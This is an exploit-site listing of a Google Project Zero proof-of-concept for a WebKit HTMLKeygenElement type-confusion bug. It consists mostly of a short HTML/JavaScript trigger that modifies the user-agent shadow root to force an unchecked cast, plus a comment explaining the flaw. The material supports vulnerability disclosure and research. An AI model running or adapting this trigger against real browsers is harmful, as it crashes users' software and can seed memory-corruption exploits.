Lucene search

K
zdtGoogle Security Research1337DAY-ID-26868
HistoryFeb 01, 2017 - 12:00 a.m.

Apple WebKit - HTMLKeygenElement Type Confusion Exploit

2017-02-0100:00:00
Google Security Research
0day.today
24

0.055 Low

EPSS

Percentile

93.2%

Exploit for multiple platform in category dos / poc

<!-- Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=999 -->
 
<keygen id="keygen_element" style="position:absolute; height: 100px; width: 100px;">
<script>
var range = document.caretRangeFromPoint(50, 50);
var shadow_tree_container = range.commonAncestorContainer;
shadow_tree_container.prepend("foo");
keygen_element.disabled = true;
</script>
 
<!--
What happens here:
1. caretRangeFromPoint() allows accessing (and modifying) userAgentShadowRoot from JavaScript
2. HTMLKeygenElement::shadowSelect() blindly casts the first child of the userAgentShadowRoot to HTMLSelectElement without checking the Node type.
-->

#  0day.today [2018-01-05]  #